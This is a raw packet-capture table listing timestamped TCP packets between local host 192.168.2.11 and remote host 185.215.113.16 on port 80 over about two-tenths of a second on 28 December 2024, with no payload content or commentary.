Dec 28, 2024 09:48:58.887157917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.887212992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.887224913 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.887228012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.887264967 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.888032913 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.888081074 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.888094902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.888140917 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.888947964 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.888961077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.888972998 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.889024973 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.889719009 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.889766932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.889780045 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.889806986 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.890583038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.890638113 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.890641928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.890655994 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.890692949 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.891433954 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.891700983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.891743898 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.891761065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.891772032 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.891814947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.892627954 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.892642021 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.892653942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.892684937 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.893419981 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.893455029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.893467903 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.893471003 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.893503904 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.894248962 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.894320965 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.894334078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.894360065 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.895108938 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.895153046 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.895164013 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.895176888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.895220995 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.895968914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896020889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896033049 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896058083 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.896855116 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896872997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896884918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.896902084 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.896929026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.897682905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.897728920 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.897742033 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.897763968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.898516893 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.898557901 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.898590088 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.898602009 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.898659945 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.899363041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.899441004 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.899454117 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.899478912 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.900285959 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.900299072 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.900310040 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.900336981 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.900372028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.901108980 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.901148081 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.901159048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.901181936 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.901937008 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.901984930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.902003050 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.902014017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.902050972 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.902837038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.902856112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.902868032 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.902892113 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.903692007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.903734922 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.903754950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.903767109 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.903836966 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.904505968 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.904583931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.904596090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.904623985 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.905400038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.905412912 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.905424118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.905442953 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.905463934 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.906212091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.906495094 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.906536102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.906579971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.906594038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.906636953 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.907356024 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.907409906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.907422066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.907449961 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.908267975 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.908313990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.908318043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.908330917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.908375025 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.909049034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.909113884 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.909126043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.909152031 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.909895897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.909945011 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.909974098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.909986019 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.910010099 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.910774946 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.910819054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.910831928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.910859108 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.911603928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.911650896 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.911675930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.911688089 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.911731005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.912508011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.912520885 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.912559032 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.912583113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.913327932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.913372040 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.913393021 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.913404942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.913448095 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.914184093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.914253950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.914266109 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.914294958 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.915086985 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915098906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915110111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915132046 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.915146112 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.915879011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915947914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915958881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.915987968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.916774988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.916794062 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.916805983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.916821957 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.916841030 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.917561054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.917654037 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.917665958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.917694092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.918457985 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.918507099 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.918515921 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.918529034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.918561935 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.919410944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.919466972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.919477940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.919504881 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.920202971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.920214891 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.920227051 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.920253038 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.920267105 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.921001911 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.921353102 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.921364069 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.921375036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.921420097 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.922137976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.922187090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.922226906 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.982420921 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.982435942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.982448101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.982533932 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.982800961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.982847929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.983359098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.983397007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.983409882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.983438969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.984268904 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.984319925 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.984354973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.984373093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.984410048 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.985137939 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985198021 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985210896 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985235929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.985852003 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985898972 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.985913038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985924006 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.985954046 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.986860037 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.986871958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.986884117 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.986927986 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.987632990 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.987674952 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.987700939 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.987713099 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.987742901 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.988580942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.988594055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.988605022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.988626003 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.989326954 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.989340067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.989351988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.989372015 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.989392042 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.990189075 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.990206957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.990222931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.990250111 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.991072893 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.991086006 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.991097927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.991111040 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.991133928 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.991919041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.991966009 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.991977930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.992005110 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.992805004 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.992846012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.992856026 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.992866993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.992892981 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.993619919 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.993632078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.993643045 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.993659019 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.994431019 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.994443893 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.994456053 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.994472027 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.994497061 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.995074987 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.995085955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.995120049 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.995356083 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.995374918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.995387077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.995412111 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.996496916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.996529102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.996550083 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.996562958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.996597052 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.997380018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.997390985 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.997402906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.997422934 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.998208046 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.998225927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.998235941 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.998245955 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.998271942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:58.999023914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.999041080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.999052048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:58.999072075 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.049354076 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.059945107 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.059958935 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.059971094 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060041904 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.060080051 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060092926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060131073 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.060741901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060794115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060800076 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.060806990 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.060847044 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.061460018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.061471939 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.061484098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.061518908 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.062191963 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.062233925 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.062244892 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.062274933 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.062293053 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.063071012 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063087940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063102007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063157082 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.063797951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063816071 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063827038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.063852072 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.063879967 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.064620972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.064634085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.064646006 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.064697027 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.065417051 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.065478086 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.065480947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.065490961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.065527916 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.066247940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.066289902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.066304922 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.066329956 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.067042112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067090034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067092896 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.067101955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067132950 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.067873955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067884922 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067897081 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.067945004 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.068687916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.068701029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.068718910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.068738937 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.068757057 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.069459915 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.069505930 CET	80	49782	185.215.113.16	192.168.2.11
